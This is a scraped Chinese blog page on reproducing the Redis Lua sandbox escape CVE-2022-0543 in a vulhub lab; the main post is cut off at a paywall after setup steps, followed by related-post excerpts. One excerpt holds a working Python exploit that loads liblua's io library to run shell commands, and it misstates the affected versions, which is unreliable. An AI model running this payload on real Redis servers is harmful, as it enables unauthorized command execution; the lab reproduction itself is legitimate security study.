CVE-2022-0543（redis沙盒逃逸）详细漏洞复现

最新推荐文章于 2025-10-31 14:19:20 发布
原创 最新推荐文章于 2025-10-31 14:19:20 发布 · 9.7k 阅读 · 6 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #web安全 #系统安全

本文详细介绍了如何通过vulhub复现Redis Lua沙盒绕过命令执行漏洞（CVE-2022-0543）。从环境搭建到命令执行，包括Ubuntu源更换、Docker安装配置及Lua脚本执行等关键步骤。

参考：vulhub/README.zh-cn.md at master · vulhub/vulhub · GitHub

Redis Lua沙盒绕过命令执行（CVE-2022-0543）

Redis是著名的开源Key-Value数据库，其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。

直接写复现全过程吧

我们通过vulhub来直接复现靶场。我系统用的是Ubunt

首先先换源（Ubuntu的源是国外的，速度很慢，我们可以换成国内的阿里源）

先做好备份：

sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak

接下来，修改源文件/etc/apt/sources.list，添加国内源

sudo vim /etc/apt/sources.list

阿里源：

deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted
最低0.47元/天 解锁文章
CVE-2022-0543（lua沙盒绕过命令执行）复现
kriesa的博客
07-13 786
CVE-2022-0543复现
CVE-2022-0543 Redis Lua沙盒绕过 命令执行
Foreverlove112的博客
09-22 723
CVE-2022-0543 Redis Lua沙盒绕过 命令执行
紧急预警：RediShell RCE漏洞（CVE-2025-49844）席卷全球，8500+Redis实例面临入侵风险
最新发布
从零开始，掌握网络安全。提供全面的网络安全教程、攻防演练技巧和行业动态。
10-31 1066
2025年10月，Redis曝出高危漏洞RediShell（CVE-2025-49844，CVSS 9.8分），允许攻击者通过Lua脚本引擎实现远程代码执行。全球仍有8500多个未修复的Redis实例暴露在公网，美、法、德三国占比超50%。漏洞利用可突破Lua沙箱，导致服务器被完全控制。企业应紧急升级至Redis 8.2.2+版本，或采取启用认证、网络隔离等临时措施。该漏洞暴露了开源组件安全管理不足的问题，建议建立定期更新机制和资产监控体系。
CVE-2022-0543（redis沙盒逃逸）
huayimy的博客
02-03 1095
CVE-2022-0543（redis沙盒逃逸借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值（Key-Value）存储数据库，并提供多种语言的API。运行完docker-compose后，打开我们的redis就是我们的漏洞环境啦
CVE-2022-0543 Redis沙盒逃逸漏洞复现(CVE-2022-0543)
XZ_______的博客
04-21 1941
漏洞复现
CVE-2022-0543（Redis 沙盒逃逸漏洞）
热门推荐
Battery的博客
11-23 11万+
CVE-2022-0543是一个与Redis相关的安全漏洞。在Redis中，用户连接后可以通过eval命令执行Lua脚本，但在沙箱环境中脚本无法执行命令或读取文件。然而，攻击者可以利用Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库liblua5.1.so.0里的导出函数luaopen_io，从而获得io库并执行命令。为了利用这个漏洞，攻击者需要在Redis客户端中输入恶意payload，其中whoami是要执行的命令，也可以根据需求更换其他命令。
【vulhub】redis CVE-2022-0543（redis沙盒逃逸）
qq_51143406的博客
02-26 713
CVE-2022-0543 redis沙盒逃逸 漏洞复现
Redis-未授权访问-CVE-2022-0543 (redis沙盒逃逸)
MateSnake的博客
05-13 1446
Redis-未授权访问-CVE-2022-0543 (redis沙盒逃逸)
CVE-2022-0543 Redis沙盒逃逸漏洞
weixin_45715461的博客
07-01 3828
CVE-2022-0543 Redis沙盒逃逸漏洞
CVE-2022-0543：redis lua沙盒绕过命令执行漏洞复现
m0_62008601的博客
11-22 1894
redis 是完全开源的，遵守 BSD 协议，是一个高性能的 key-value 数据库。造成redis沙盒逃逸漏洞的原因主要是由于redis lua，redis嵌入了lua编程语言作为其脚本引擎，可通过eval命令使用lua，lua引擎是沙盒化的，不能在运行redis的服务器上执行任意代码。但在Debian以及ubuntu发行版上，由于打包问题，在lua沙箱中遗留了一个对象package，攻击者可以利用这个对象package逃逸redis lua沙盒，在运行redis的服务器上执行任意命令。
CVE-2022-0543
sinat_25635183的博客
03-25 813
2、CVE-2022-0543即Redis沙盒逃逸漏洞，Redis Labs 是一家专注于 Redis 数据库的企业公司，提供企业级的 Redis 产品和服务。出现一个新的网页，直接跳转到iana的官网（IANA（Internet Assigned Numbers Authority）是互联网分配号码局，是负责管理全球互联网协议参数的权威组织之一。根据前面的增加链接内容的操作，可以尝试一下将iana网站的链接加在靶场链接的后面。注意：每个人可能打开的网页链接不一样，需要根据自己的情况来操作后面的步骤。
cve_2022_0543-redis沙盒漏洞复现 vulfocus
c0529的博客
06-10 982
该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量，该变量又允许访问任意 Lua 功能。
Reids RCE-CVE-2022-0543 复现
weixin_52532634的博客
02-02 610
local f = io.popen("在这里命令", "r");编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库，并提供多种语言的API。如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问。一般都是默认的端口好6379，这里端口号是环境映射的。
Redis沙盒逃逸漏洞(CVE-2022-0543)复现以及流量特征分析
xhscxj的博客
02-03 2313
Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值（Key-Value）存储数据库，并提供多种语言的API。Redis 存在代码注入漏洞，攻击者可利用该漏洞远程执行代码。Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。
Redis 沙盒逃逸漏洞复现（CVE-2022-0543）
hicode0101的博客
01-17 869
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。值得注意的是，不同环境下的liblua库路径不同，你需要指定一个正确的路径。Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。
Redis Lua沙盒绕过命令执行（CVE-2022-0543）
jiji_king的博客
07-07 376
个人笔记
[漏洞复现]Redis 沙盒逃逸漏洞（CVE-2022-0543）
k5664524的博客
01-25 854
Redis 存在代码注入漏洞，攻击者可利用该漏洞远程执行代码。
CVE-2022-0543 Redis Lua 沙盒逃逸 RCE
Adminxe的博客
03-14 4565
0x00 背景 巴西研究员 Reginaldo Silva 于 2022 年 3 月 8 日公开披露 该漏洞,从他的博客得知 CVE-2022-0543 该 Redis 沙盒逃逸漏洞仅影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞 https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce 0x01 条件 未授权访问或拿到账号密码 目标为Debian及其衍生版 0x02 原理 首先,redis一直有一..
cve-2022-0543漏洞复现
02-28
### CVE-2022-0543 漏洞详情 CVE-2022-0543 是 Redis 中的一个沙盒逃逸漏洞，允许攻击者通过特定的 Lua 脚本执行任意系统命令。Redis 使用 Lua 解释器来处理脚本操作，默认情况下启用了安全沙盒机制以防止潜在危险的操作。然而，在某些配置下，该沙盒可以被绕过，从而导致严重的安全隐患。 #### 影响版本 受影响的主要版本包括但不限于 Redis 版本 6.x 和部分 7.x 的早期版本[^2]。 ### 复现环境搭建 为了成功复现此漏洞，需准备如下条件： - 安装并运行易受攻击版本的 Redis 实例。 - 配置 Redis 不带任何身份验证措施（即禁用密码保护），以便于测试过程中不受阻碍地连接到服务器。 - 准备好能够发送自定义请求的客户端工具或编写相应的 Python/Shell 脚本来模拟攻击行为。 ### 漏洞利用过程 下面是一个简单的 Python 脚本用于展示如何触发这个漏洞: ```python import redis def exploit_redis(): r = redis.Redis(host='localhost', port=6379, db=0) payload = ''' eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 ''' result = r.execute_command(payload) print(result.decode()) if __name__ == '__main__': exploit_redis() ``` 上述代码尝试加载外部库 `liblua5.1.so` 并调用其中的方法打开管道执行 Linux 命令 `id` 来获取当前用户的 UID/GID 信息作为演示目的。实际应用中可以根据需求替换为其他恶意指令。 请注意，以上内容仅限学习研究用途，请勿非法入侵他人计算机信息系统！
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值